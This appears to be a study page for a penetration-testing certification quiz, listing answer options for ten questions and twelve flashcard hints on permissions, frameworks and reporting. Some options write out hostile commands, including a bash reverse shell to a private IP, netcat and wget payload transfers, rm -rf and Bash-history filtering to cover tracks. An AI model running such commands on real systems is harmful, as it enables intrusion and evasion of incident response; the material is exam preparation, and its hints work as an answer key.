Shell Scripting and Permissions
This quiz assesses your knowledge of shell scripting commands related to file permissions. Understand how to modify file attributes to allow execution by the file owner, which is a crucial skill for penetration testers. Test your grasp of security practices in scripting.
Recommended next
10 questions ready
Start with a quiz
Answer from memory first, then use the existing quiz review flow for anything you miss.
Activities
Quiz10 Questions
Flashcards12 Cards
Study Notes1 Note
Podcast1 Episode
Modules
Learn in sequence
Start with the earlier modules and work forward. Each one builds on the last, so the course gets more advanced as you go.
Shell Scripting and Permissions
Quiz • 10 Questions
Study Notes
1 min • Summary
Shell Scripting and Permissions - Podcast
Podcast
Shell Scripting and Permissions Flashcards
Flashcards • 12 Cards
Materials
List of Questions10 questions
- Question 1
- chmod u+x script.sh
- chmod u+e script.sh
- chmod o+e script.sh
- chmod o+x script.sh
- Question 2
- Redirecting Bash history to /dev/null
- Making a copy of the user's Bash history to further enumeration
- Covering tracks by clearing the Bash history
- Making decoy files on the system to confuse incident responders
- Question 3
- obtaining PII from the protected network.
- bypassing protection on edge devices.
- determining the efficacy of a specific set of security standards.
- obtaining specific information from the protected network.
- Question 4
- Understanding the tactics of a security intrusion can help disrupt them.
- Scripts that are part of the framework can be imported directly into SIEM tools.
- The methodology can be used to estimate the cost of an incident better.
- The framework is static and ensures stability of a security program over time.
- Question 5
- The most critical risks of web applications
- A list of all the risks of web applications
- The risks defined in order of importance
- A web-application security standard
- Question 6
- Edit the discovered file with one line of code for remote callback.
- Download .pl files and look for usernames and passwords.
- Edit the smb.conf file and upload it to the server.
- Download the smb.conf file and look at configurations.
- Question 7
- Whether sensitive client data is publicly accessible
- Whether the connection between the cloud and the client is secure
- Whether the client's employees are trained properly to use the platform
- Whether the cloud applications were developed using a secure SDLC
- Question 8
- nc 10.10.51.50 9891 < exploit
- powershell -exec bypass -f \\10.10.51.50\9891
- bash -i >& /dev/tcp/10.10.51.50/9891 0&1/exploit
- wget 10.10.51.50:9891/exploit
- Question 9
- grep -v apache ~/bash_history > ~/.bash_history
- rm -rf /tmp/apache
- chmod 600 /tmp/apache
- taskkill /IM ג€apacheג€ /F
- Question 10
- Executive summary of the penetration-testing methods used
- Bill of materials including supplies, subcontracts, and costs incurred during assessment
- Quantitative impact assessments given a successful software compromise
- Code context for instances of unsafe typecasting operations
List of Flashcards12 flashcards
- Card 1HintThink about modifying file permissions for the 'user' to e'x'ecute.Memory TipChmod u+x: User execute
- Card 2HintThese commands manipulate files to make it look like nothing happened in the shell.Memory TipNull cat, touch, my: Clear history
- Card 3HintThis type of test evaluates adherence to predefined rules or regulations.Memory TipCompliance: Standards efficacy
- Card 4HintIt provides a knowledge base of adversary tactics and techniques.Memory TipATT&CK: Disrupt intruder tactics
- Card 5HintIt's a standard awareness document for web application security.Memory TipOWASP: Top web risks
- Card 6HintThis method establishes a connection back to the attacker from the compromised system.Memory TipEdit file, callback, internal
- Card 7HintStart with the most obvious and critical potential data leak.Memory TipCloud data: Publicly accessible?
- Card 8HintThink about a common command-line tool for retrieving files from the web.Memory TipWget: Download from server
- Card 9HintThis command recursively forces the removal of a directory and its contents.Memory TipRM -RF: Remove artifacts
- Card 10HintDevelopers need specific code examples to understand and fix vulnerabilities.Memory TipSAST report: Code context unsafe typecasting
- Card 11Hint'u' for user, '+' to add permission, 'x' for execute.Memory TipUser execute rights
- Card 12HintThink about '..' in URL paths to navigate upwards in the directory tree.Memory TipTraverse: Up directories